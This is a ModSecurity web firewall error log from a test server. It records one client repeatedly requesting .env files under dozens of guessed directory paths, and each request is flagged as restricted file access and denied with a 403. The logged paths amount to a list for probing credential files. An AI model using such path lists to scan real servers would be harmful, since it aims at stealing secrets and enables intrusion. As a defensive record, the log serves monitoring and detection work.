[Thu Feb 26 01:03:04.028482 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FE/huey/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlLwAAAAI&quot;]
[Thu Feb 26 01:03:04.040025 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-react-relay-network-modern/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-react-relay-network-modern/.env&quot;] [unique_id &quot;aZ-NuCSJSniLip0oFXizBwAAAAA&quot;]
[Thu Feb 26 01:03:04.040374 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-react-relay-network-modern/.env&quot;] [unique_id &quot;aZ-NuCSJSniLip0oFXizBwAAAAA&quot;]
[Thu Feb 26 01:03:04.040518 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-react-relay-network-modern/.env&quot;] [unique_id &quot;aZ-NuCSJSniLip0oFXizBwAAAAA&quot;]
[Thu Feb 26 01:03:04.055483 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fedex/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fedex/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlMAAAAAI&quot;]
[Thu Feb 26 01:03:04.055717 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fedex/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlMAAAAAI&quot;]
[Thu Feb 26 01:03:04.055866 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fedex/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlMAAAAAI&quot;]
[Thu Feb 26 01:03:04.103807 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fhir-api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fhir-api/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlMQAAAAI&quot;]
[Thu Feb 26 01:03:04.104064 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fhir-api/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlMQAAAAI&quot;]
[Thu Feb 26 01:03:04.104233 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fhir-api/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlMQAAAAI&quot;]
[Thu Feb 26 01:03:04.138927 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /files/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlMgAAAAI&quot;]
[Thu Feb 26 01:03:04.139159 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlMgAAAAI&quot;]
[Thu Feb 26 01:03:04.139317 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlMgAAAAI&quot;]
[Thu Feb 26 01:03:04.193946 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-relay-modern/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-relay-modern/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHkwAAAAQ&quot;]
[Thu Feb 26 01:03:04.194246 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-relay-modern/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHkwAAAAQ&quot;]
[Thu Feb 26 01:03:04.194443 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-relay-modern/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHkwAAAAQ&quot;]
[Thu Feb 26 01:03:04.198281 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fileserver/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fileserver/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlMwAAAAI&quot;]
[Thu Feb 26 01:03:04.198529 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fileserver/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlMwAAAAI&quot;]
[Thu Feb 26 01:03:04.198687 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fileserver/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlMwAAAAI&quot;]
[Thu Feb 26 01:03:04.225517 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-universal-configuration-build-time/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-universal-configuration-build-time/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHlAAAAAQ&quot;]
[Thu Feb 26 01:03:04.225774 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-universal-configuration-build-time/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHlAAAAAQ&quot;]
[Thu Feb 26 01:03:04.225926 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-universal-configuration-build-time/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHlAAAAAQ&quot;]
[Thu Feb 26 01:03:04.244164 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /films/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/films/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlNAAAAAI&quot;]
[Thu Feb 26 01:03:04.244392 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/films/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlNAAAAAI&quot;]
[Thu Feb 26 01:03:04.244544 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/films/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlNAAAAAI&quot;]
[Thu Feb 26 01:03:04.259614 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /exapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHlQAAAAQ&quot;]
[Thu Feb 26 01:03:04.259932 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHlQAAAAQ&quot;]
[Thu Feb 26 01:03:04.260129 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHlQAAAAQ&quot;]
[Thu Feb 26 01:03:04.274853 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /final_project/airflow_dag/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/Airflow_Dag/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlNQAAAAI&quot;]
[Thu Feb 26 01:03:04.275184 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/Airflow_Dag/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlNQAAAAI&quot;]
[Thu Feb 26 01:03:04.275451 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/Airflow_Dag/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlNQAAAAI&quot;]
[Thu Feb 26 01:03:04.292143 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /exercise.frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHlgAAAAQ&quot;]
[Thu Feb 26 01:03:04.292503 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHlgAAAAQ&quot;]
